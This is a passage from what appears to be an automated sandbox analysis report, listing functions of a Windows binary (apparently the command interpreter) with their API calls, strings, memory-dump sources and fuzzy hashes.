                                                    • Opcode Fuzzy Hash: cebe966d7df5a2bd0607568b5e1b41817dd61a68bafb8258f014fa92f4b8adc0
                                                    • Instruction Fuzzy Hash: 71214B36B246418AF7009BB5E4000BD7BB0FB5DB48B445125DF0E97BA9DF38D055CB54
                                                    Function 00007FF6BF3F5770 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 169COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: CreateSemaphore
                                                    • String ID: _p0$wil
                                                    • API String ID: 1078844751-1814513734
                                                    • Opcode ID: f755fc07889d6bdabc5bc906762bcb13605c747dc28133a8421b38486d33263f
                                                    • Instruction ID: dfb1b6594fbe6523969cd3ff2c8fe975dc1f89644b517c01d849f6a5d52ea095
                                                    • Opcode Fuzzy Hash: f755fc07889d6bdabc5bc906762bcb13605c747dc28133a8421b38486d33263f
                                                    • Instruction Fuzzy Hash: 24511762B2974286EEE58FAC84546BE7390EF94B90F945435DB0D8FBA1DF3CE4058380
                                                    Function 00007FF6BF3FB89C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104memoryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • RtlCreateUnicodeStringFromAsciiz.NTDLL ref: 00007FF6BF3FB934
                                                    • GlobalAlloc.API-MS-WIN-CORE-HEAP-L2-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF6BF3E5085), ref: 00007FF6BF3FB9A5
                                                    • GlobalFree.API-MS-WIN-CORE-HEAP-L2-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF6BF3E5085), ref: 00007FF6BF3FB9F7
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Global$AllocAsciizCreateFreeFromStringUnicode
                                                    • String ID: %WINDOWS_COPYRIGHT%
                                                    • API String ID: 1103618819-1745581171
                                                    • Opcode ID: 16d2b5de7a39f60598d54afa282db4830b4e4e1db5eb0a36e09c541776fa7494
                                                    • Instruction ID: 4c40aff60525e5a8cb23554af681e1b1593b87a18ddd239b4a2d606abcb094bc
                                                    • Opcode Fuzzy Hash: 16d2b5de7a39f60598d54afa282db4830b4e4e1db5eb0a36e09c541776fa7494
                                                    • Instruction Fuzzy Hash: C041A1A2A08783C2EB509F69941027977A0FF69B90F859235DF8D873A5EF7CE485C740
                                                    Function 00007FF6BF400774 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 86COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset$_wcslwr
                                                    • String ID: [%s]
                                                    • API String ID: 886762496-302437576
                                                    • Opcode ID: eb4fc62ff4127de29e093c52d368a60165998186bbeaa5c9376a54b17af478ff
                                                    • Instruction ID: f86bed8d1028a8d02cb7709402c3fd8e3bf61ed711aa247ab593805bf0f0b010
                                                    • Opcode Fuzzy Hash: eb4fc62ff4127de29e093c52d368a60165998186bbeaa5c9376a54b17af478ff
                                                    • Instruction Fuzzy Hash: 42317832719B8285EB61CF69D8507E967A0FB89B88F444035DF8D8BB66DF3CD6458340
                                                    Function 00007FF6BF3E32E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FF6BF3E33A8: iswspace.MSVCRT(?,?,00000000,00007FF6BF3FD6EE,?,?,?,00007FF6BF3F0632), ref: 00007FF6BF3E33C0
                                                    • iswspace.MSVCRT(?,?,?,00007FF6BF3E32A4), ref: 00007FF6BF3E331C
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: iswspace
                                                    • String ID: off
                                                    • API String ID: 2389812497-733764931
                                                    • Opcode ID: 23619b9e270ea0a6abcdd2ffa6124d8d0217e46963fde130039e410627268166
                                                    • Instruction ID: 2aca73fc08889bcf6797a0839d44eb741c3baaaa189561db547944c7c51aef37
                                                    • Opcode Fuzzy Hash: 23619b9e270ea0a6abcdd2ffa6124d8d0217e46963fde130039e410627268166
                                                    • Instruction Fuzzy Hash: E221C531E2C65281FB609B9DA4106796BA0EF65F80F588034DB0ECB6B1DF6CEC508791
                                                    Function 00007FF6BF3F9308 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 56COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: wcschr$Heapiswspace$AllocProcess
                                                    • String ID: %s=%s$DPATH$PATH
                                                    • API String ID: 3731854180-3148396303
                                                    • Opcode ID: fb3125d80182464f50c82bc0c4d5350ea8168baa4617960a2893f38ef28f8be7
                                                    • Instruction ID: 882e022d5a533885b728e1f83cab1f55bd18bbd77c920afa9eff84e9f7b8e902
                                                    • Opcode Fuzzy Hash: fb3125d80182464f50c82bc0c4d5350ea8168baa4617960a2893f38ef28f8be7
                                                    • Instruction Fuzzy Hash: 01218426B0965681FE949BEDE8602796760EF84B80F884136DF0ECB3B5DE7CE5408390
                                                    Function 00007FF6BF3E8198 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: wcscmp
                                                    • String ID: *.*$????????.???
                                                    • API String ID: 3392835482-3870530610
                                                    • Opcode ID: 2267b9e2c7923373c3284e1f11a26023b10064941758683347217dc228a16a6c
                                                    • Instruction ID: ad4d59b717b453e223dddc15eb9bf15c65d40785da5f57a2cb1353ff7b530932
                                                    • Opcode Fuzzy Hash: 2267b9e2c7923373c3284e1f11a26023b10064941758683347217dc228a16a6c
                                                    • Instruction Fuzzy Hash: 71118235F34A5281E7648B6AA44053973A1EF44B80F185031DF8D8BBA5DF7DE8429750
                                                    Function 00007FF6BF3F9114 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 43COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: fprintf
                                                    • String ID: CMD Internal Error %s$%s$Null environment
                                                    • API String ID: 383729395-2781220306
                                                    • Opcode ID: 0cb055b157f36561183311c9dd91b0f05aa56f2c0aaf14e14510f586112b26cc
                                                    • Instruction ID: acfea173d1e16522463e2ddbd4150bffabb554224834eee510c819dd7e597a22
                                                    • Opcode Fuzzy Hash: 0cb055b157f36561183311c9dd91b0f05aa56f2c0aaf14e14510f586112b26cc
                                                    • Instruction Fuzzy Hash: A6119131D0964281EB959BACE9200B96761EB547B0F444332D77EC72F5EF2CE455C780
                                                    Function 00007FF6BF3E09F4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: iswspacewcschr
                                                    • String ID: .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC$=,;
                                                    • API String ID: 287713880-1183017076
                                                    • Opcode ID: 8fcb7a04138a3b23992a7cdb16ce22985c951060ce84957cc9b0662892501dea
                                                    • Instruction ID: e62695082537163d8cd608e119e05e51a3cc82ca4e5e3cd81f61e68c18d99fdb
                                                    • Opcode Fuzzy Hash: 8fcb7a04138a3b23992a7cdb16ce22985c951060ce84957cc9b0662892501dea
                                                    • Instruction Fuzzy Hash: 46F04472B2C65691EA648BDDA40017967A0FF54F41B459131DB5D87264DF3CE850C750
                                                    Function 00007FF6BF3E04F4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30libraryloaderCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: AddressHandleModuleProc
                                                    • String ID: KERNEL32.DLL$SetThreadUILanguage
                                                    • API String ID: 1646373207-2530943252
                                                    • Opcode ID: 33fd74526e8d725267334377f69302da3f837b9787d184b3d8809460f86dc4c4
                                                    • Instruction ID: ef56d5d64cc29e1f089913b1733ce5fd73dac699d2b2940ebc68448b5b9d5a82
                                                    • Opcode Fuzzy Hash: 33fd74526e8d725267334377f69302da3f837b9787d184b3d8809460f86dc4c4
                                                    • Instruction Fuzzy Hash: 9D011A70E1DA0681EA448BADA85117827A0EF69770F445735C73E863F2DFBC69948340
                                                    Function 00007FF6BF3F73C0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 25libraryloaderCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: AddressHandleModuleProc
                                                    • String ID: RaiseFailFastException$kernelbase.dll
                                                    • API String ID: 1646373207-919018592
                                                    • Opcode ID: 3febe13a05f537dc5e67cec473ac92f04f036d5fc975d7a9241dfcd9d5059c04
                                                    • Instruction ID: 59f9e51a5907de1e6cc64817008916b5f016ff8e9f40eeb897b5783851ad81bf
                                                    • Opcode Fuzzy Hash: 3febe13a05f537dc5e67cec473ac92f04f036d5fc975d7a9241dfcd9d5059c04
                                                    • Instruction Fuzzy Hash: 95F03A21A18B8192EA008B66F444079AB60FFA9BD0B48E135DA4E47B25CF7CD495C700
                                                    Function 00007FF6BF3D1130 Relevance: 6.2, APIs: 4, Instructions: 156COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset$CurrentDirectorytowupper
                                                    • String ID:
                                                    • API String ID: 1403193329-0
                                                    • Opcode ID: 9eadb3359a7035c4c8b06301bcad4ec111c2959e7ad062144f1a1f931ae642b1
                                                    • Instruction ID: dfc52e1268e65697ab38eadeae7a19920d1d3264826479750451ea87f976894f
                                                    • Opcode Fuzzy Hash: 9eadb3359a7035c4c8b06301bcad4ec111c2959e7ad062144f1a1f931ae642b1
                                                    • Instruction Fuzzy Hash: 4D618C32A18B828AFB60DBA998402ED77B4FB84748F544135DF5D8BBA9DF38D851C740
                                                    Function 00007FF6BF3E4878 Relevance: 6.1, APIs: 4, Instructions: 138COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: _wcsnicmp$wcschr
                                                    • String ID:
                                                    • API String ID: 3270668897-0
                                                    • Opcode ID: 0c5351208ff2a5a36442746df2c9d56de1180022aab67ae3c28b2a55d3b35da5
                                                    • Instruction ID: df5e4a38cfbb0a3ab007ece7ad0a3ae7cdeb9938600dbad95532ed27cd9e5952
                                                    • Opcode Fuzzy Hash: 0c5351208ff2a5a36442746df2c9d56de1180022aab67ae3c28b2a55d3b35da5
                                                    • Instruction Fuzzy Hash: 8B51A426E1864281EB606FA9D4101B967A1EF95B80F498131DB4E8B6F6DF7CDD81C3B0
                                                    Function 00007FF6BF3FF358 Relevance: 6.1, APIs: 4, Instructions: 74COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset$DriveFullNamePathType
                                                    • String ID:
                                                    • API String ID: 3442494845-0
                                                    • Opcode ID: 96e94011f7e51b9192f665da575d41fb78cf0bd335fa213fa644a3e80f09fdea
                                                    • Instruction ID: 53804511f938ed2bf23a47276a58a5bc8a57ddfb1cd654459ccb3e0e161a1d3c
                                                    • Opcode Fuzzy Hash: 96e94011f7e51b9192f665da575d41fb78cf0bd335fa213fa644a3e80f09fdea
                                                    • Instruction Fuzzy Hash: 6C316932619B828AEB60CF65E8407E977A4FB89B84F484135EB4D8BB64CF38D645C740
                                                    Function 00007FF6BF3E8F80 Relevance: 6.1, APIs: 4, Instructions: 73COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
                                                    • String ID:
                                                    • API String ID: 140117192-0
                                                    • Opcode ID: f9503a7e6f26e693eab0e8ec34dcabcd79a91a5ad0fdcc229cb5dec8ce22a0f7
                                                    • Instruction ID: c3d6a39b58c2e08108aa2abafa24877a74b8f08b662b1448d74f959f566de802
                                                    • Opcode Fuzzy Hash: f9503a7e6f26e693eab0e8ec34dcabcd79a91a5ad0fdcc229cb5dec8ce22a0f7
                                                    • Instruction Fuzzy Hash: 2941D435A18B4281EA508BACF890365B3B4FBA8754F904036DB8DC6776DFBCE449C740
                                                    Function 00007FF6BF3E8470 Relevance: 6.1, APIs: 4, Instructions: 72stringCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: wcstol$lstrcmp
                                                    • String ID:
                                                    • API String ID: 3515581199-0
                                                    • Opcode ID: 5b9efed5608bd49f2816daba6a3b85e90b3500fb38e55be3423670eddfbfd6ec
                                                    • Instruction ID: 916695e7ad90f7c52bb689212cc3250bd9583203dd4a213239ac0fab33196bec
                                                    • Opcode Fuzzy Hash: 5b9efed5608bd49f2816daba6a3b85e90b3500fb38e55be3423670eddfbfd6ec
                                                    • Instruction Fuzzy Hash: 8E21B432E2864283E7604BFDA59413A6BA0FF49740F056134DB4F8A6B4CF6CE8468B50
                                                    Function 00007FF6BF3D4F58 Relevance: 6.1, APIs: 4, Instructions: 72filetimeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: File_get_osfhandle$TimeWrite
                                                    • String ID:
                                                    • API String ID: 4019809305-0
                                                    • Opcode ID: 81587e0329514d19275e074575feb35963da2dd15ba7483d0e323a7e2a39d08e
                                                    • Instruction ID: 7f46535289da94ceff9fee47fa04413468467e6a051f5dcdd605eb16965115e5
                                                    • Opcode Fuzzy Hash: 81587e0329514d19275e074575feb35963da2dd15ba7483d0e323a7e2a39d08e
                                                    • Instruction Fuzzy Hash: F2316126A08642C6EBA05BAC94847796B91EF59B50F145238DB4D8BBB6CF3CD8648740
                                                    Function 00007FF6BF401914 Relevance: 6.1, APIs: 4, Instructions: 67COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
